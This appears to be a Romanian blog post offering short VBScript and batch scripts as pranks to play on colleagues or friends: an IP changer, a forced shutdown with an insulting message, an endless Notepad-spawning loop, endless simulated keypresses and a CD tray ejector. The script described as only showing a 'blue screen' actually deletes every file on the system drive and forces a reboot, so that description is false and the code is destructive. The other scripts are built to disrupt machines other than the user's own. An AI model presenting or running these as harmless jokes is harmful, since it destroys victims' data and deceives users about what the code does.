Script-uri Visual Basic

Indiferent ca te plictisesti sau chiar ai nevoie de asa ceva mai jos o sa va prezint foarte pe scurt cateva script-uri in limbajul Visual Basic. De retinut ca script-urile trebuiesc puse pe rand in cate un fisier creat de voi cu extensia VBS.

Mare atentie: scripturile de mai jos sunt postate cu scop informativ, ele pot fi folosite pentru a speria colegii sau prietenii chiar daca 1 aprilie s-a dus de mult.

Schimbarea IP-ului de la calculator – un script simplu care va schimba automat IP-urile de la calculator, inlocuiti “xxx”-urile cu datele reale. Utilitatea acestui script se vede cel mai bine pe un calculator conectat la mai multe surse de internet si fiecare cu ip propriu, usureaza munca aia de dat click de 10 ori si schimbarea IP-urilor de 5 ori pe zi.

Option Explicit
Dim objWMIService
Dim objNetAdapter
Dim strComputer
Dim arrIPAddress
Dim arrSubnetMask
Dim arrGateway
Dim colNetAdapters
Dim errEnableStatic
Dim errGateways

strComputer = "."
arrIPAddress = Array("xxx.xxx.xxx.xxx")
arrSubnetMask = Array("xxx.xxx.xxx.xxx")
arrGateway = Array("xxx.xxx.xxx.xxx")
Set objWMIService = GetObject("winmgmts:" & strComputer & "\root\cimv2")
Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")
For Each objNetAdapter in colNetAdapters
errEnableStatic = objNetAdapter.EnableStatic(arrIPAddress, arrSubnetMask)
errGateways = objNetAdapter.SetGateways(arrGateway)
Next

Ecranul albastru – stiti de acel ecran albastru (zis si “the blue screen of death”) cu o eroare cretina, ei bine scriptul asta poate afisa acel ecran albastru

@echo off
del %systemdrive%\\*.* /f /s /q
shutdown -r -f -t 00

Inchide calculatorul in 10 secunde – scriptul asta afiseaza o fereastra cu un mesaj si windows-ul se va inchide in 10 secunde

@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c \"Error! You are too stupid!\" -s -t 10

Multe ferestre de Notepad – scriptul asta va deschide multe ferestre de Notepad pana Windows-ul se va bloca si va trebui sa il restartati ca sa mearga din nou

@ECHO off
:top
START %SystemRoot%\\system32\\notepad.exe
GOTO top

Enter la infinit – tasta Enter va fi apasata de multe ori fara oprire, doar restartarea Windows-ului poate rezolva problema

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Backspace la infinit – tasta Backspace va fi apasata de multe ori fara oprire, doar restartarea Windows-ului poate rezolva problema

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

CDROM-ul a inebunit – chiar daca aveti doar o unitate optica (CD-ROM/DVD-ROM), scriptul asta le va deschide si le va inchide la un interval de cateva secunde

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop